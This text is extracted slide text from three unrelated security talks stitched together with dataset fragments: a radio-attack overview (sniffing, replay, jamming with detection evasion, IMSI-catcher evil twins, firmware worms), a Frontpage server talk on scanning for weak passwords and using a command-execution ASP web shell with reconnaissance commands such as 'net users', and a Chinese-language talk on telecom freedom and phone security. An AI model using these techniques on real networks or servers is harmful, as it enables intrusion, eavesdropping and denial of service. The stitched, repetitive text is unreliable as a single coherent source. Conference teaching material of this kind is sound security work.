Frame\nHW Addresses\nSequence Number\n(other stuff)\nLayer 3 Frame\nMAC Frame\nPreamble\nStart of Frame Delim.\nPHY Header +\n+\nCRC\nPHY Frame\nAPI Call\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nHOW TRANSMITTING WORKS\nLayer 2 (MAC)\nLayer 1 (PHY)\nhttp://xenon.colorado.edu/spotlight/kb/gps_basics/modulations.001.png\nMAC Frame\nHW Addresses\nSequence Number\n(other stuff)\nLayer 3 Frame\nMAC Frame\nPreamble\nStart of Frame Delim.\nPHY Header +\n+\nCRC\nPHY Frame\nModulation\nMaps 1s and 0s to
\n(electrical phenomena\n)\nAPI Call\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nHOW TRANSMITTING WORKS\nLayer 2 (MAC)\nLayer 1 (PHY)\nhttp://xenon.colorado.edu/spotlight/kb/gps_basics/modulations.001.png\nMAC Frame\nHW Addresses\nSequence Number\n(other stuff)\nLayer 3 Frame\nMAC Frame\nPreamble\nStart of Frame Delim.\nPHY Header +\n+\nCRC\nPHY Frame\nModulation\nMaps 1s and 0s to
\n(electrical phenomena\n)\nAPI Call\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nHOW TRANSMITTING WORKS\nLayer 2 (MAC)\nLayer 1 (PHY)\nhttp://xenon.colorado.edu/spotlight/kb/gps_basics/modulations.001.png\nMAC Frame\nHW Addresses\nSequence Number\n(other stuff)\nLayer 3 Frame\nMAC Frame\nPreamble\nStart of Frame Delim.\nPHY Header +\n+\nCRC\nPHY Frame\nModulation\n(to antenna/RF frontend)\nMaps 1s and 0s to
\n(electrical phenomena\n)\nAPI Call\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nHOW RECEIVING WORKS\nLayer 2 (MAC)\nLayer 1 (PHY)\n(from antenna)\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nHOW RECEIVING WORKS\nLayer 2 (MAC)\nLayer 1 (PHY)\n(from antenna)\nPHY State Machine\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nHOW RECEIVING WORKS\nLayer 2 (MAC)\nLayer 1 (PHY)\n(from antenna)\nPHY State Machine\nWait for Preamble\nLook for SFD\n(optional) Inspect \nPHY Header\nExtract N bits\nCheck CRC\nPresent to Layer 2\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nHOW RECEIVING WORKS\nLayer 2 (MAC)\nLayer 1 (PHY)\nMAC Frame\nHW Addresses\nSequence Number\n(other stuff)\nLayer 3 Frame\n(from antenna)\nPHY State Machine\nWait for Preamble\nLook for SFD\n(optional) Inspect \nPHY Header\nExtract N bits\nCheck CRC\nPresent to Layer 2\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nKEY CONCEPTS\n▸ Radios are state machines \n▸ They are deterministic: not magic
\n▸ Complicated RF environments inform radio state machine design \n▸ Tons of contention \n▸ Radios have features to compensate
\n▸ Opportunities for tactical abuse\nMETHODS OF EXPLOITATION\nCLASSIFYING RF ATTACK METHODS\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nCLASSIFYING RF ATTACK METHODS\n▸ For each attack category, we’ll show: \n1. Method: how the attack is performed \n2. Impact: what the attack enables \n3. Analogue: equivalent attack on wired/IP network, if one exists \n4. Limitations: mitigations, whether incidental or intentional \n5. Example: relevant examples of this type of attack \n6. Proof: demo \nSNIFFING\nRECONNAISSANCE // DATA LEAKAGE\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nSNIFFING OVERVIEW\n▸ Method \n▸ Observe traffic from nearby networks \n▸ Impact \n▸ Data loss // leakage \n▸ Reconnaissance for further development \n▸ Wired Analogue \n▸ None! Promiscuity is a unique characteristic \nof RF\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nSNIFFING APPLIED\n▸ Limitations \n▸ Physical range, availability of PHY \ninterface \n▸ Example \n▸ Key extraction during ZigBee lock \npairing \n▸ Keystrokes from unencrypted keyboards\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nSNIFFING DEMO\n▸ HP Classic Wireless Desktop \n▸ Unencrypted wireless keyboard \n▸ Keystroke sniffing demo
\n▸ Proprietary 2.4 GHz wireless protocol \n▸ MOSART Semiconductor transceiver \n▸ No encryption \n▸ No official protocol documentation \n▸ Over-the-air compatible with nRF24L USB dongles\nWARDRIVING\nDEVICE DISCOVERY // ATTACK DEVELOPMENT\nhttps://media.defcon.org/DEF%20CON%2021/DEF%20CON%2021%20presentations/Balint%20Seeber/DEFCON-21-Balint-Seeber-All-Your-RFz-Are-Belong-to-Me.pdf\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nWARDRIVING OVERVIEW\n▸ Method \n▸ Scan for identifying features on a protocol of \ninterest \n▸ (Optional) actively beacon to induce traffic \n▸ Impact \n▸ Discovery of exploitable devices or networks \n▸ Wired Analogue \n▸ Port scanning, service discovery\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nWARDRIVING APPLIED\n▸ Limitations \n▸ Physical range, number of channels, \neasy to spot if defender knows to \nlook for it \n▸ Examples \n▸ 802.11 AP discovery \n▸ Beaconing for an 802.15.4/ZigBee \nnetwork coordinator\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nWARDRIVING DEMO\n▸ 802.15.4 wardriving
\n▸ Killerbee exploitation framework \n▸ Crafts broadcast beacon requests \n▸ ApiMote hardware radio board \n▸ Sends out requests \n▸ Records responses from 802.15.4 \nnetwork coordinators\nREPLAY\nDEVICE CONTROL // STATE MANIPULATION\nhttp://www.freeiconspng.com/uploads/reload-icon-3.png\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nREPLAY ATTACK OVERVIEW\n▸ Method \n▸ Re-transmit a previously captured PHY \nframe \n▸ Impact \n▸ Command injection: change the state of a \ndevice or something on the network \n▸ Wired Analogue \n▸ Same (replays exists on wired networks too)\nCtrl+C\nCtrl+V\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nREPLAY ATTACKS APPLIED\n▸ Limitations \n▸ Defeated by freshness (sequence \nnumber) or authentication \n(cryptography/trust) \n▸ Example \n▸ 2017 Dallas tornado emergency siren \nattack\nhttps://www.washingtonpost.com/news/the-intersect/wp/2017/04/09/someone-hacked-every-tornado-siren-in-dallas-it-was-loud/?utm_term=.5b883e3bfade\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nREPLAY ATTACK DEMO\n▸ Fortress Security Safeguard panic button \n▸ Tornado siren surrogate $ \n▸ 433 MHz on-off keying \n▸ No freshness or authentication \n▸ Raw IQ replay OR decode/resynthesize\nhttps://www.amazon.com/Fortress-Security-Safeguard-All-One/dp/B01K4OMDWY/ref=cm_cr_arp_d_product_top?ie=UTF8&th=1\nJAMMING\nDENIAL OF SERVICE // NETWORK STATE DISRUPTION\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nJAMMING OVERVIEW\n▸ Method \n▸ Transmit noise or conflicting traffic within target network’s RF channel (same frequency) \n▸ Impact \n▸ Blocks traffic on network \n▸ Network state disruption \n▸ Wired Analogue \n▸ Denial of Service\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nJAMMING APPLIED\n▸ Limitations \n▸ Jam detection mechanisms \n▸ Self-denial: difficult to \nsimultaneously jam and monitor \nnetwork traffic \n▸ Example \n▸ Home security system jamming\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nJAMMING DEMO\n▸ Honeywell home security system
\n▸ 345 MHz on-off keying protocol \n▸ Transmit wideband noise at 345 MHz \n▸ Device jam detection mechanisms \nwill detect after several seconds, \nso…\nSMART JAMMING\nEVADING DETECTION #\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nDUTY CYCLED JAMMING\n▸ Problem: Hardware radios implement “clear \nchannel” detection features to avoid talking \nover other radios \n▸ Sampling CCA is a zero-cost jam detector \n▸ Solution: pulse jammer on and off at \nappropriate rate to evade jam detection \nfunctions \n▸ Examples: Matt’s done this to defeat \n802.15.4 jam detection, but doesn’t know of \nany public examples\nhttp://www.mdpi.com/sensors/sensors-11-03852/article_deploy/html/images/sensors-11-03852f1-1024.png\nJammer duty cycle
\nmust be shorter
\nthan this interval\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nREFLEXIVE JAMMING\n▸ Problem: Continuously jamming makes \noffensive network monitoring hard \n▸ Jamming denies both the attacker and \nthe defender \n▸ Solution: detect beginning of frame and \nreflexively jam to target either specific \npackets or trailing checksums \n▸ Examples: Samy Kamkar’s RollJam (left), \nreflexive jamming built into Killerbee//\n802.15.4 ApiMote\nhttps://www.wired.com/wp-content/uploads/2015/08/rolljam3.jpg\nMAC LAYER RESERVATION\nDENIAL OF SERVICE\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nLINK LAYER CONGESTION OVERVIEW\n▸ Method \n▸ Abuse channel reservation features \nto reserve channel… forever \n▸ See 802.11’s virtual carrier sensing\n▸ Impact \n▸ Denies legitimate Wi-Fi devices \naccess to the RF channel \n▸ Wired Analogue \n▸ None (virtual carrier sense is unique \nto wireless protocols)\nLeft: 802.11 MAC header\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nLINK LAYER CONGESTION APPLIED\n▸ Limitations \n▸ Network allocation vector constraints \n▸ [802.11]: Max 32ms effect per malicious \npacket \n▸ Example \n▸ No recent examples of a virtual carrier \nsense abuse attack\n$5 attack platform (ESP8266)\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nLINK LAYER CONGESTION DEMO\n▸ 802.11 virtual carrier sense abuse \n▸ One-line Scapy script
\n▸ 802.11 frame with: \n▸ Empty payload \n▸ Maximum frame duration
\n▸ Prevents other 802.11 devices from \nattempting to transmit on the channel\n*cheers to Bastian Bloessl for original research\nEVIL TWIN\nNETWORK MEMBERSHIP // IMPERSONATION // ROUTING\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nEVIL TWIN OVERVIEW\n▸ Method \n▸ Impersonate a network participant by assuming its \naddress and configuration \n▸ (Optional) actively deny the real thing \n▸ Impact \n▸ Man in the Middle: Intercept and actively tamper with \nnetwork traffic \n▸ Tamper with routing, if eligible \n▸ Wired Analogue \n▸ ARP spoofing/cache poisoning\nhttps://d1b5h9psu9yexj.cloudfront.net/32/fullsize.jpg\nhttp://www.pngpix.com/wp-content/uploads/2016/10/PNGPIX-COM-Beard-PNG-Transparent-Image-2.png\n(evil facial hair)\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nEVIL TWIN APPLIED\n▸ Limitations \n▸ Defeated by authentication \n(cryptography/trust) \n▸ Attacker may need to deny legitimate twin \n▸ Example \n▸ WiFi Pineapple \n▸ IMSI Catchers\nhttps://www.wifipineapple.com/assets/img/tetra1.jpg\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nEVIL TWIN DEMO\n▸ 2G GSM/GPRS IMSI catcher/man in the \nmiddle
\n▸ OpenBTS/Range Networks GSM BTS \n▸ Creates an arbitrarily-configured \nnetwork \n▸ Phones downgrade and connect if they \nbelieve it’s the best option\nhttps://www.wifipineapple.com/assets/img/tetra1.jpg\nFaraday cage\nChina Mobile\nFIRMWARE UPDATES\nPERSISTENCE // ADDED VALUE\nhttps://i.ytimg.com/vi/EJqpBlvXn3g/maxresdefault.jpg\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nFIRMWARE ATTACK OVERVIEW\n▸ Method \n▸ Modify firmware image to your liking \n▸ Deliver it via OTA firmware update mechanism \n▸ Impact \n▸ “Added value”: modifying device behavior \n▸ Persistence \n▸ Denial of Service: see BrickerBot \n▸ Self-propagation \n▸ Wired Analogue \n▸ Traditional endpoint malware, worms, etc.\nhttps://i.ytimg.com/vi/EJqpBlvXn3g/maxresdefault.jpg\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nFIRMWARE ATTACKS APPLIED\n▸ Limitations \n▸ Defeated by code signing, network \nencryption, etc. \n▸ Example \n▸ Cesar Cerrudo’s hypothetical traffic \nlight sensor worm (also ZigBee) \n▸ Phillips Hue ZigBee Light Link worm\nhttp://3.bp.blogspot.com/-gSXv0rGLMzs/UQMH-13O4iI/AAAAAAAAADA/hNlownMbMeY/s1600/20130125_143225.jpg\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nFIRMWARE ATTACK DEMO\n▸ Phillips Hue Worm (ZigBee Light Link OTA) \n▸ Eyal Ronen, Colin O’Flynn, Adi Shamir \n(“S” from RSA) and Achi-Or Weingargen
\n▸ No demo for this one \n▸ Great paper and video at http://\niotworm.eyalro.net/ \n▸ Best part is firmware signing key \nrecovery through a side channel\nhttp://www.wisdom.weizmann.ac.il/~eyalro/iotworm/index_files/image011.jpg\nPHY LAYER SELECTIVE TARGETING\nESCALATION // IDS EVASION // DEVICE FINGERPRINTING\nhttp://www.ti.com/lit/ds/symlink/cc2520.pdf\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nPHY SELECTIVE TARGETING OVERVIEW\n▸ Method \n▸ Chipsets implement PHY standards differently — \nvarious degrees of error tolerance \n▸ Send standards-noncompliant transmissions that \nexploit corner cases in specific PHY state machines \n▸ Impact \n▸ Targeted receiver evasion (IDS evasion) \n▸ Device fingerprinting \n▸ Wired Analogue \n▸ Same (demonstrated on 802.3 chipsets) \n▸ Far more practical in RF domain\nhttps://www.troopers.de/wp-content/uploads/2013/11/TROOPERS14-Making-and_Breaking-an_802.15.4_WIDS-Sergey_Bratus+Javier_Vazquez+Ryan_Speers.pdf\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nPHY SELECTIVE TARGETING APPLIED\n▸ Limitations \n▸ Network participants must be on \ndifferent chipsets \n▸ Not all chipsets are vulnerable \n▸ Example \n▸ 802.15.4 receiver evasion\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nPHY SELECTIVE TARGETING DEMO\n▸ Selectively evasive 802.15.4 packets
\n▸ Transmitter: ApiMote w/ CC2420 \n▸ Receivers: ApiMote w/ CC2420
\n RZUSB stick w/ AT86RF230
\n▸ Both receivers receive everything, until \nthey don’t… #\n*cheers to David Dowd, River Loop Security, Travis Goodspeed, and Dartmouth for original research\nReceivers\nTransmitter\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nPHY SELECTIVE TARGETING DEMO\n▸ 802.15.4 preamble and SFD: \n▸ 0x00000000A7: 4 0x00s + 1 0xA7
\n▸ What if we screw with this? \n▸ 0x00000000FFA7: extra symbols in \npreamble \n▸ 0x000000A7: short preamble\n*cheers to David Dowd, River Loop Security, Travis Goodspeed, and Dartmouth for original research\nCONCLUSIONS\nCHARACTERIZING WIRELESS ATTACK METHODS\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nWIRELESS ATTACK METHODS SUMMARY\nAnalogue \nComplexity\nEase of Mitigation\nSniffing\nUnique!\nEasy\nHard\nWardriving\nPort Scanning\nEasy\nHard\nReplay\n[same]\nEasy\nModerate\nJamming\nDenial of Service\nEasy\nHard\nLink Layer Congestion\nUnique!\nModerate\nModerate\nEvil Twin\nARP Spoofing\nHard\nModerate\nFirmware Attack\nMalware\nHard\nModerate\nPHY Abuse\n[same]\nHard\nHard\nNON-EXHAUSTIVE LIST\n[OBVIOUSLY]\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nAS ATTACKERS…\n▸ Look for low-hanging fruit first \n▸ Unencrypted comms, replay attacks, cleartext key exchanges, etc. \n▸ Complexity goes up in a hurry \n▸ Lean on your existing wired/IP network skill set \n▸ Analogues exist!\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nAS ATTACKERS… CONTINUED\n▸ Leverage Open Source Intelligence (OSINT): \n▸ FCC regulatory filings \n▸ Data sheets \n▸ It will make your life easy \n▸ Marc gave an entire talk on this at HITB2016AMS\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nAS DEVELOPERS…\n▸ This is the Golden Age of RF Hacking \n▸ Software Defined Radio has been \ncommodity for >5 years \n▸ Every RF PHY is in scope now\nGPS\n802.5\nDMR\n802.3\nHSPA\nLTE\nCDMA\nGSM\nBluetoo\nZ-Wave\n802.15.\nGPRS\nEDGE\nDECT\nLoRa\nSIGFOX\n802.16\nnRF24\nNB-IoT\nWiMax\nEnocean\n802.11\nBluetoot\nTIME TO OWN \nYOUR AIRWAVES\nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nADDITIONAL RADIO RESOURCES\n▸ “So You Want to Hack Radios” series (all about RF Physical Layers) \n▸ Shmoocon: https://www.youtube.com/watch?v=L3udJnRe4vc \n▸ Troopers: https://www.youtube.com/watch?v=OFRwqpH9zAQ \n▸ HITB2017AMS Commsec: https://www.youtube.com/watch?v=QeoGQwT0Z1Y \n▸ Matt’s LoRa research \n▸ 33c3: https://media.ccc.de/v/33c3-7945-decoding_the_lora_phy \n▸ Marc’s OSINT techniques \n▸ HITB2016AMS Commsec: https://www.youtube.com/watch?v=JUAiav674D8 \n▸ Dallas siren attack research \n▸ White paper: https://www.bastille.net/blogs/2017/4/17/dallas-siren-attack \nRADIO EXPLOITATION 101 // BASTILLE NETWORKS\nACKNOWLEDGEMENTS\n▸ Balint and Logan from ’s Threat Research Team \n▸ at large \n▸ DEF CON 25 team! \n▸ See you at DEF CON 50!\nTHANKS\nmatt@ .net \n@embeddedsec\ngithub.com/BastilleResearch \nmarc@ .net \n@marcnewlin\nQUESTIONS?\nmatt@ .net \n@embeddedsec\ngithub.com/BastilleResearch \nmarc@ .net \n@marcnewlin"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":66,"cells":{"text":{"kind":"string","value":"_vti_fpxploitation\nmshannon@fpxploiter.org\nFrontpage: Laying the ground work\nWhat is it?\n● Microsoft's integrated Web Site development \ntool. \n● System for adding basic to advanced \nfunctionality with little or no web page \nexperience.\n● Integrated MS Office package\n● Security Nightmare\nWho is Vermeer Technologies?\n● In early 1995, Vermeer Technologies developed one of \nthe first web publishing tools for simple end users, \nFrontpage. \n● Following enormous success, the application was later \nbought out by Microsoft and integrated in the Office \npackage.\nFrontpage: Decoding the system\nProtocol Analysis\nClient/Server Protocol Analysis\n● Communication between Client and Server.\n● Frontpage Client and Server extensions communicate \nover HTTP PUT requests. The Frontpage client makes \nrequests against Author.dll, Admin.dll, and shtml.exe.\nAuthor.dll(exe)\nAuthoring commands, uploading, downloading \ncontent, reviewing properties, adding \nenhancements.\nAdmin.dll(exe)\nAdmin commands, including adding additional \nusers, modify user permissions, listing \naccounts.\nShtml.exe, vti_rpc\nInitial access and service negotiation.\nThe Authentication System\n•This authentication \nprocess takes place each \ntime a request is \nperformed, i.e login, \nupload, download, change \npermissions, navigate \nfolders, etc. \n•While an ineffective use of \nresources, it does limit \nattacks based on state.\n_vti_inf.html\n● _vti_inf.html\n– This file provides configuration information and \nhelps us determine something about the server.\n_vti_inf.html Cont.\n● Using the following simple guidelines when \nreading the _vti_inf.html file we can better \ndetermine the operating system.\n● _vti_inf.html files with references to \n.exe tools most likely reside on Unix \nservers.\n● _vti_inf.html files with references to \n.dll tools most likely reside on \nWindows Servers\n● Server extension version numbers \ncan further help us narrow down the \noptions.\n_vti_inf Version Table\n● Using the information in _vti_inf.html, we can \noften correctly determine the OS version.\nOperating System/Version\nFrontpage Extension Version\nWindows 98/ME Personal Webserver\n?\nWindows NT 4.0\n4.x\nWindows 2000\n5.x\nWindows XP\n5.x\nUnderstanding Vermeer RPC Packets\n● All responses from Frontpage Server \nExtensions come in the form of Vermeer \nRPC Packets. \n● Vermeer Packets closely resemble HTML \npages.\nInformation is coded within \nthese packets based on \nposition within HTML tags.\nAn early precursor to XML? \nSample Vermeer RPC Packet\n● The following sample VTI Packet contains \nlarge amounts of information, including \nphysical drive locations.\n– Physical drive paths may be useful for Unicode exploits.\nFrontpage: Knocking on the door\nCustom Tools \nfpxploiter -> Frontpage Vulnerability Scanner\nPerl-Gtk Scanning tool\nSummary\n● Now that we have a better understanding of how \nFrontpage works, let's see about finding vulnerable \ntargets.\n● This is what brought about fpxploiter.\nIt's a Perl-Gtk application the \nprovides capability for:\n• Locating Frontpage accessible \nwebservers, using default options, or \nuser defined accounts and \npasswords.\n• Servers without passwords\n• Servers with weak passwords\nUsing fpxploiter: How to Start\n● Start fpxploiter with the command fpxploiter.\n● Application opens with main window.\nUsing fpxploiter: How the scanner \nworks?\n● Start by providing a target list, the current configuration \nof the tool does not allow scanning of more than one \nClass C at a time.\n● Select File->Set Targets or press Ctrl-T.\n● Enter the host targets.\nUsing fpxploiter: How modify the \npassword list?\n● Select File->Set Password List and select you new \npassword list file.\nUsing fpxploiter: How modify the \ndefault user account?\n● Select File->Set User account and enter your new user \naccount.\nUsing fpxploiter: How to export the \nresults?\n● Select File->Save Log and select the destination for \nyour log file, use this AFTER the scanning is complete.\nAdditional Screen Captures\n● Fpxploiter during a scanning session.\nFuture Directions\n● Support for Apache Frontpage extensions.\n● Redesign of the fpxploiter tool to provide \ngeneric Frontpage access library.\n● Rebuild in C/Gtk or C++/QT.\n● Support for uploading content.\nCode\n● All Code for fpxploiter is available the the \nfollowing website.\n– http://www.fpxploiter.org\n● Additionally it's on the DEFCON CD.\nFrontpage: What to do when your there\nASP for Hackers\nSQL Server Database Hunting\n● SQL Server Database Access Tools\n● Custom ASP pages that allow us to execute \nqueries and explore SQL Servers.\n● Using fpxploiter to locate vulnerable servers.\nTie it all together with ASP \npages to execute sql \nqueries against the \ndatabase.\nSummary\n● Fpxploiter helps us find vulnerable web \nservers.\n● SQLUltimate.asp contains custom asp code that \nfunctions as a SQL Analyzer.\n– Ideas?\nAdd SQL Server users (if your in \nthe System Admin role)\nAccess corporate data\nExecute extended stored \nprocedures\nLocate application accounts and \npasswords\nScreen Capture\n● The following screen capture shows the \nSQLUltimate.asp and a resulting query \nresult.\nImage taken from http://ASPAlliance.com/mbrink1111/\nCopyright 2003 Michael Brinkley, All Rights Reserved\nUsed with Permission\nCode\n● All Code for SQLUltimate.asp is available the \nthe following website.\n– ASPAlliance.com\n● http://aspalliance.com/mbrink1111/SQLAnalyzer.asp\nCommand Line ASP\n● ASP Page built to execute console \ncommands and return the results.\n● Built by Maceo <maceo @ dogmile.com>\n●netstat -a\n●ipconfig -all\n●Ver\n●set\n●net users\n●Net localgroup\nAllows execution of simple \ncommands, good \nexamples include\nSummary\n● Fpxploiter helps us find vulnerable web \nservers.\n● cmdasp.asp contains custom asp code to execute \nsimple console commands.\n– Ideas?\nUse netstat -an & netstat -a as \nmake shift reverse DNS.\nUse net localgroup and net view \nto understand drive mappings \nand groups.\nUse ping to find additional \nservers\nScreen Capture\n● The following screen capture shows \ncmdasp.asp in action.\nCode\n● All Code for cmdasp.asp is available the the \nfollowing website.\n– http://www.securiteam.com/tools/5AP020U35C.h\ntml\nFuture Ideas\n● ASP Code can be used in conjunction with \nthe winsock control to provide “scanning” \nfrom the webserver.\n● ASP Code can be used to view \nSMB Shares and Remote \nAdministration (See \nhttp://cifs.novotny.org/, \namazing work with ASP.NET)\n● ASP Code can be used with \nxmlhttp controls to navigate \ninternal web sites (Intranets)\nFrontpage: Holding down the fort\nSecuring Frontpage through best practices\nStrong Passwords\n● As in most systems, your last line of defense \nis your password, and Frontpage is no \ndifferent. \nChoose strong passwords, \nconsisting of upper and lowercase \ncharacters (with LANMAN this is\nrather meaningless), numbers, \nand special characters.\nStick with passwords over eight \ncharacters in length.\nChanged Admin Account\n● As is good practice, consider changing the \nname of your Administrator account.\n● Choose something meaningful, however \navoid the typical choices, such as:\n– Root\n– Admin\n– 123\n– Password\nConcept of least privilege\n● Only provide the access necessary to get the \njob done.\nUse the Frontpage roles to assign \nusers Author rights to specific \nwebs as appropriate.\nReserve Admin rights for specific \naccounts.\nIP Restrictions\n● Using IIS native IP based restrictions you can \neffectively block a large portion of Frontpage attacks.\n●\nUse the IIS Access tab to block access to the admin.dll and \nauthor.dll to IP addresses outside of your internal range.\n●\nAdditionally, \nconsider \nsegmenting \nyour \ndevelopers \nand giving \nthis group \naccess only.\nFrontpage: Closing words\nFpxploiter.org Site\n● Clearing house for code and commentary.\nReferences and Links\n● References to the many sources used in this \nresearch, and a thanks to all involved.\nOlder Frontpage Hacking \nTexts\nhttp://www.insecure.org/sploits/Microsoft.frontpage.ins\necurities.html\nPerl-Gtk Tutorial\nhttp://personal.riverusers.com/~swilhelm/gtkperl-\ntutorial/\nMicrosoft Frontpage MSDN \nhttp://msdn.microsoft.com/library/default.asp?url=/libra\nry/en-us/dnservext/html/fpse02win.asp\nThanks and Credits\n● This project would never have been made \npossible without the support of the following \npeople.\n–\nMary Shannon <Wife and Greatest Fan> \n–\nMatthew Decker <Mentor>\n● mjdecker@kpmg.com\n–\nMichael D'Andrea <Graphics Designer>\n● centralsource@hotmail.com\n–\nStephen Bickle <Technical Review>\n● steve@xsec.net\n–\nStephen Wilhelm <Perl-Gtk Tutorial>\nQuestions or Comments?"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":67,"cells":{"text":{"kind":"string","value":"Open RazzmatazZ Laboratory (OrzLab)\nJim Huang( 黃敬群 /jserv)\nEmail: <jserv.tw@gmail.com>\n<jserv@openmoko.org>\nBlog: http://blog.linux.org.tw/jserv/\n電信通訊 的自由與\n安全議題\n July 22, 2007\nhttp://orzlab.blogspot.com/\n自我 介紹\nOpenMoko 開發者\n手機 /PDA 、 Mobile TV/ 數位電視代工設計\n參與自由軟體開發\n新酷音輸入法\nKaffe.org / GNU Classpath\n... (http://jserv.sayya.org/ for details) ...\n專業熱血工讀生\n提綱\n通訊裝置背後的議題\n電信通訊的自由開放\n安全性挑戰\n裝置 背後 的議題 (1)\n複雜性、多樣性\n高度整合\n五花八門\n行動 電話 的時代\n2006 年\n< 200 Million PC sold\n> 200 Million Phones sold ( 光第三季 )\n0.5 Billion PC in 2003\n1.5 Billion consumers own mobile phones \nworldwide -- Economist, Jan 2006\n3 Billion subscribers by 2008\n裝置\n行動 電話 的大量 系統 整合\n裝置 背後 的議題 (2)\n誰在聽你\n講電話？\n不只是情人間的細語呢喃\n通訊 自由 權 (1)\n？華民國憲法第二章第七條保障的基本人權\n人身自由 ( 第 8 條 )\n言論、講學、著作及出版自由 ( 第 11 條 )\n祕密通訊自由 ( 第 12 條 )\n1999 年六月 22 日三讀通過「通訊保障及監察\n法」\n依據「電信法」第七條，「秘密通訊」分兩項：\n電信之「內容」 ( 監聽 )\n電信之「有無」 ( 通聯查詢 )\n通訊 自由 權 (2)\n「自由、自由，多少罪惡假汝之名而行﹗」\n羅蘭夫人於送上斷頭台前夕\n通訊法規與法治人權\n違反「法律保留原則」\n憲法第二十三條之基本原則：通聯之調閱應\n以法律而非以行政命令來規範\n違反「比例原則」\n不應以一條街或一個地區為執行之範圍\n違反「透明化原則」與「保護隱私權原則」\n調閱「通聯」應適用執行「監聽」之規定，\n於執行結束後應通知受監察之人\n裝置 背後 的議題 (2)\n封閉的系統\n壟斷性的電信業者\n待開 放的 電信網 路 (1)\n許多廠商與組織指出，電信廠商的限制將阻礙無\n線網路與電信發展\nSkype\n向 FCC 提出請願書，要求立法部門放鬆限制\n要求 FCC 為無線網路建立開放標準組織\nopenmoko\n建構 100% open source 手機\n不受電信廠商約束，直接將手機賣給用戶\n待開 放的 電信網 路 (2)\n電信廠商僅針對由自家銷售的手機和服務開放網\n路支援\n通常採取封閉技術以鎖定所銷售的手機\n2007 年二月，哥倫比亞大學法學系教授 Tim Wu\n於 blog 譴責：\n「強勢操控設備和應用市場的產品設計與創\n新，因而損害消費者的利益」\n兩大公益組織支持：\nPublic Knowledge\nMedia Access Project (MAP)\n電信 通訊 的自由 開放 (1)\n手機禁用的功能\n手機 禁用 的功能\nWi-Fi (dual-mode phone)\nBluetooth file transfer (high volume)\nBuilt-in wireless connectivity CE\nDialing timer\nLimited to specific network\n電信 通訊 的自由 開放 (2)\n手機受限的功能\n手機 受限 的功能\n某些 GPS 服務應用\n某些先進的 SMS 功能\n某些行動瀏覽器\n基於商業利益的行為\nCingular/AT&T Wireless 曾要求 Nokia 移除歐\n洲版 E61/62 Smartphone 內的 Wi-Fi ，才可在\n美國網路中使用\nVerizon 禁止 phone vendor 啟用 bluetooth 檔\n案傳輸功能，只因為希望用戶將 camera 所生\n的照片傳到 ( 收費的 )Verizon 網站\n....\n電信 通訊 的自由 開放 (3)\n手機製造商與應\n用服務者的訴求\nSkype 於 2007.02.21 向 FCC\n提出請願書\n製造 商與 應用服 務者 的訴求 (1)\n要求電信業者同意\n只要不具危險性\n任何設備均可連接到其網路\n任何應用均可執行於其網路\n用戶可瀏覽所有合法的網站\n成立獨立專注於相關行動應用的產業組織\n製造 商與 應用服 務者 的訴求 (2)\n是的，我們存活於\n謊言、背信、行為受限、\n受監視、缺乏自由\n的陰影之下\n部份電信廠商在服務條款中禁止使用 Skype\nSkype 的訴求基本上就是加強 Carterfone 規則\n安全 性挑 戰 (1)\n第一代\n手機病毒、蠕蟲、惡意程式\n典型 手機 病毒蠕 蟲\nSymbian S60, Proof-of-Concept\nPC virus: 1986\nMobile phone virus/worm: 2004\nCaribe - Bluetooth\nRedbrowser – Java-enabled WAP browser\nZafi-B – Email/MMS\n思維\n應用程式的漏洞\nSmartPhone\n「它聰明，你傻瓜」\n安全 性挑 戰 (2)\n第二代\n第二 代： ？\n狄更斯《雙城記》名句：\n「那是最美好的\n時代，也是最\n惡劣的時代」\n第二 代手 機安全 性思 維\nSIM Toolkit\n交叉網路機制 (hand-over)\nGSM/GPRS/UMTS\nWifi\n3G/3.5G/HSDPA\nSMS/MMS 的延伸\nRF/Baseband\n專屬 AT command 的攻擊方式\n安全 性挑 戰 (3)\n第三代？\nSIM card / Telecom / Protocol\n+ PC attack stratege\n+ Web attack stratege\n+ Radius attack\n安全 性挑 戰 (4)\n越 smart\n越 